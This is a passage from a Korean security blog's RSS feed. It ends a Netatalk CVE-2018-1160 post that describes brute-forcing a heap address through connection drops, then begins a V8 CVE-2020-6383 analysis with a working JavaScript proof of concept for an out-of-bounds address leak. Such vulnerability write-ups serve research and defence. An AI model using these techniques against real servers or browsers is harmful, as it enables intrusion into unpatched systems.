#9cdcfe;&quot;&gt;server_quantum&lt;/span&gt;);&lt;br /&gt;}&lt;/div&gt;
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;libatalk/dsi/dsi_tcp.c&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;dsi-&amp;gt;server_quantum&lt;/code&gt; 값은 Netatalk configuration에서 설정된다. 만약 이 값이 libc의 &lt;code&gt;mp_.mmap_threshold&lt;/code&gt; 값 이상이 되면, &lt;code&gt;dsi-&amp;gt;commands&lt;/code&gt; 는 arena가 아니라 mmap으로 별도 할당된 공간에 위치하게 된다. (&lt;code&gt;mp_.mmap_threshold&lt;/code&gt; 의 기본값은 &lt;code&gt;DEFAULT_MMAP_THRESHOLD_MIN&lt;/code&gt;, 즉 0x20000 이다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://netatalk.sourceforge.net/3.1/htmldocs/afp.conf.5.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Netatalk documentation의 Chapter 5. Manual Pages - afp.conf&lt;/a&gt; 항목을 살펴보면, server quantum의 기본값은 0x100000 이라고 쓰여져 있다. 즉, 기본적으로 &lt;code&gt;dsi-&amp;gt;commands&lt;/code&gt; 는 mmap으로 매핑된다는 사실을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mmap으로 할당되면 &lt;code&gt;dsi-&amp;gt;commands&lt;/code&gt; 의 값은 아래 그림과 같이 표현될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;612&quot; height=&quot;NaN&quot; data-filename=&quot;Picture1.png&quot; data-origin-width=&quot;1204&quot; data-origin-height=&quot;146&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmcStv/btqLoqUhePs/OZx0ykQp9iFcFrky6DYlPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmcStv/btqLoqUhePs/OZx0ykQp9iFcFrky6DYlPK/img.png&quot; data-alt=&quot;Figure 2. Layout of dsi-&amp;amp;amp;gt;commands value&amp;amp;amp;nbsp;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmcStv/btqLoqUhePs/OZx0ykQp9iFcFrky6DYlPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmcStv%2FbtqLoqUhePs%2FOZx0ykQp9iFcFrky6DYlPK%2Fimg.png&quot; width=&quot;612&quot; height=&quot;NaN&quot; data-filename=&quot;Picture1.png&quot; data-origin-width=&quot;1204&quot; data-origin-height=&quot;146&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Figure 2. Layout of dsi-&amp;gt;commands value&amp;nbsp;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 주소를 &lt;b&gt;정확히&lt;/b&gt; 알아내기 위해서는 다음과 같은 제약이 필요하다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;dsi-&amp;gt;commands&lt;/code&gt; 가 가리키는 페이지 앞에 할당된 공간이 존재하지 않아야 하거나,&lt;/li&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;dsi-&amp;gt;commands&lt;/code&gt; 가 가리키는 페이지 앞에 공간이 할당되어 있지만, 해당 영역에 PROT_READ 권한이 없어야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜 이런 제약이 필요한지는 &lt;i&gt;Fig. 3&lt;/i&gt; 을 보면서 이해해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 번째 바이트가 0x10 의 배수임을 알고 있기 때문에, 두 번째 바이트를 0x00 부터 0xF0까지 브루트포싱하면서 값을 알아낼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;Picture1.png&quot; data-origin-width=&quot;2121&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rfyvr/btqLqlrdhFx/QRTj5DwkVNG6TJeWq63kp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rfyvr/btqLqlrdhFx/QRTj5DwkVNG6TJeWq63kp0/img.png&quot; data-alt=&quot;Figure 3. Brute-force to leak the second byte of dsi-&amp;amp;amp;gt;commands&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rfyvr/btqLqlrdhFx/QRTj5DwkVNG6TJeWq63kp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Frfyvr%2FbtqLqlrdhFx%2FQRTj5DwkVNG6TJeWq63kp0%2Fimg.png&quot; data-filename=&quot;Picture1.png&quot; data-origin-width=&quot;2121&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Figure 3. Brute-force to leak the second byte of dsi-&amp;gt;commands&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음으로 SIGSEGV가 발생하지 않는 (연결이 끊기지 않는) 입력이 &lt;code&gt;dsi-&amp;gt;commands&lt;/code&gt; 의 두 번째 바이트 값이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 번째 바이트는 0x00 부터 0xFF 까지 값을 넣어보면서 알아낼 수 있다. &lt;code&gt;dsi-&amp;gt;server_quantum&lt;/code&gt; 값이 0x100000 이라면, malloc chunk의 헤더로 인해 실제 할당받는 크기는 0x101000 이 되어, 0x00 부터 0xFF 까지 요청을 보내보면 최소 17개 이상의 연속된 요청에서 연결이 끊기지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;Picture1.png&quot; data-origin-width=&quot;2121&quot; data-origin-height=&quot;1317&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAY9ZM/btqLpvnzc1A/Kq4n3pYO01lOLidwB1j9Z1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAY9ZM/btqLpvnzc1A/Kq4n3pYO01lOLidwB1j9Z1/img.png&quot; data-alt=&quot;Figure 4. Brute-force to leak the third byte of dsi-&amp;amp;amp;gt;commands&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAY9ZM/btqLpvnzc1A/Kq4n3pYO01lOLidwB1j9Z1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAY9ZM%2FbtqLpvnzc1A%2FKq4n3pYO01lOLidwB1j9Z1%2Fimg.png&quot; data-filename=&quot;Picture1.png&quot; data-origin-width=&quot;2121&quot; data-origin-height=&quot;1317&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Figure 4. Brute-force to leak the third byte of dsi-&amp;gt;commands&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 그림을 예시로 살펴보면, 0x3B 부터 0x4B 까지 17개의 요청을 보내면 연결이 끊기지 않음을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0x3B~0x4B 범위 밖의 값을 넣어도, 해당 주소가 라이브러리나 다른 매핑된 영역의 주소를 가리켜서 연결이 끊기지 않는 경우가 생길 수 있다. &lt;code&gt;dsi-&amp;gt;commands&lt;/code&gt; 의 영역과 다른 영역이 연속해서 위치하지 않으면 서버의 응답을 바탕으로 정확한 주소를 구할 수 있지만, 그렇지 않을 경우 유효한 값을 짐작해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 과정에서 요청을 보냈을 때 서버의 반응을 기록해 둔다. 이 기록은 이후 네 번째와 다섯 번째 바이트를 구할 때 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네 번째 (또는 다섯 번째) 바이트를 0x00 부터 0xFF 까지 브루트포싱할 때, 각 바이트에 대해서 세 번째 바이트를 0x00 부터 0xFF 까지 다시 돌려본다. 만약 이전에 기록했던 서버의 응답과 1개라도 다른 것이 있다면, 해당 바이트는 올바르지 않은 값이므로 건너뛴다. 이 과정으로 false positive를 줄여 정확한 값을 도출해낼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방법에 대한 실제 공격 코드는 [pwnable.tw] CVE-2018-1160 글에 작성되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ubuntu 20.04 에서 기본 설정으로 주소를 구한 결과이다. 디버깅으로 확인한 결과 실제 &lt;code&gt;dsi-&amp;gt;commands&lt;/code&gt; 값은 0x7fcc943be010 이고, 위 방법으로 구한 값은 0x7fcc94000010 이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 텍스트 파일은 테스트 환경의 afpd 프로세스 메모리 매핑을 출력한 것이다.&lt;/p&gt;
&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/AiRJm/btqLwdM7pnY/e0u0b3HCvJh9WtZfoLHvcK/mm.txt?attach=1&amp;amp;knm=tfile.txt&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;mm.txt&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.02MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/div&gt;</description>
      <category>Analysis/1-day</category>
      <author>Syine Mineta</author>
      <guid isPermaLink="true">https://mineta.tistory.com/142</guid>
      <comments>https://mineta.tistory.com/142#entry142comment</comments>
      <pubDate>Wed, 21 Oct 2020 21:08:27 +0900</pubDate>
    </item>
    <item>
      <title>CVE-2020-6383 [V8]</title>
      <link>https://mineta.tistory.com/154</link>
      <description>&lt;div style=&quot;color: black;&quot;&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;CVE-2020-6383&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Type&amp;nbsp;confusion&amp;nbsp;in&amp;nbsp;V8&amp;nbsp;in&amp;nbsp;Google&amp;nbsp;Chrome&amp;nbsp;prior&amp;nbsp;to&amp;nbsp;80.0.3987.116&amp;nbsp;allowed&amp;nbsp;a&amp;nbsp;remote&amp;nbsp;attacker&amp;nbsp;to&amp;nbsp;potentially&amp;nbsp;exploit&amp;nbsp;heap&amp;nbsp;corruption&amp;nbsp;via&amp;nbsp;a&amp;nbsp;crafted&amp;nbsp;HTML&amp;nbsp;page.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;# Environment&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;branch 73f88b5f69077ef33169361f884f31872a6d56ac&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chromium.googlesource.com/v8/v8/+/73f88b5f69077ef33169361f884f31872a6d56ac&quot;&gt;https://chromium.googlesource.com/v8/v8/+/73f88b5f69077ef33169361f884f31872a6d56ac&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;# Bug Report&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&quot;&gt;https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;# Patch Commit&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chromium.googlesource.com/v8/v8/+/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a&quot;&gt;https://chromium.googlesource.com/v8/v8/+/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chromium.googlesource.com/v8/v8/+/a2e971c56d1c46f7c71ccaf33057057308cc8484&quot;&gt;https://chromium.googlesource.com/v8/v8/+/a2e971c56d1c46f7c71ccaf33057057308cc8484&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chromium.googlesource.com/v8/v8/+/68099bffaca0b4cfa10eb0178606aa55fd85d8ef&quot;&gt;https://chromium.googlesource.com/v8/v8/+/68099bffaca0b4cfa10eb0178606aa55fd85d8ef&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chromium.googlesource.com/v8/v8/+/e440eda4ad9bfd8983c9896de574556e8eaee406&quot;&gt;https://chromium.googlesource.com/v8/v8/+/e440eda4ad9bfd8983c9896de574556e8eaee406&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chromium.googlesource.com/v8/v8/+/fa5fc748e53ad9d3ca44050d07659e858dbffd94&quot;&gt;https://chromium.googlesource.com/v8/v8/+/fa5fc748e53ad9d3ca44050d07659e858dbffd94&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;# PoC (Leak Address)&lt;/b&gt;&lt;/h4&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;br /&gt;16&lt;br /&gt;17&lt;br /&gt;18&lt;br /&gt;19&lt;br /&gt;20&lt;br /&gt;21&lt;br /&gt;22&lt;br /&gt;23&lt;br /&gt;24&lt;br /&gt;25&lt;br /&gt;26&lt;br /&gt;27&lt;br /&gt;28&lt;br /&gt;29&lt;br /&gt;30&lt;br /&gt;31&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;trigger&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;&amp;nbsp;=&amp;nbsp;-&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Infinity&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;k&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;=&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;lt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;+=&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;nbsp;==&amp;nbsp;-&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Infinity&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;&amp;nbsp;=&amp;nbsp;+&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Infinity&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(++&lt;span style=&quot;color: #9cdcfe;&quot;&gt;k&lt;/span&gt;&amp;nbsp;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;10&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;break&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Math&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;max&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1024&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;=&amp;nbsp;-&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Math&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;max&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;,&amp;nbsp;-&lt;span style=&quot;color: #b5cea8;&quot;&gt;1025&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;=&amp;nbsp;-&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;-=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1022&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;&amp;gt;&amp;gt;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;+=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;10&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;array&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Array&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;array&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1.1&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;array&lt;/span&gt;,&amp;nbsp;{}];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;let&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;=&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;lt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;20000&lt;/span&gt;&amp;nbsp;;&amp;nbsp;++&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;trigger&lt;/span&gt;();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;console&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log&lt;/span&gt;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;trigger&lt;/span&gt;()[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;][&lt;span style=&quot;color: #b5cea8;&quot;&gt;11&lt;/span&gt;]);&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;# Analysis&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;TypeInductionVariablePhi&lt;/code&gt; 함수는 아래 형식의 for 반복문을 최적화할 때 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
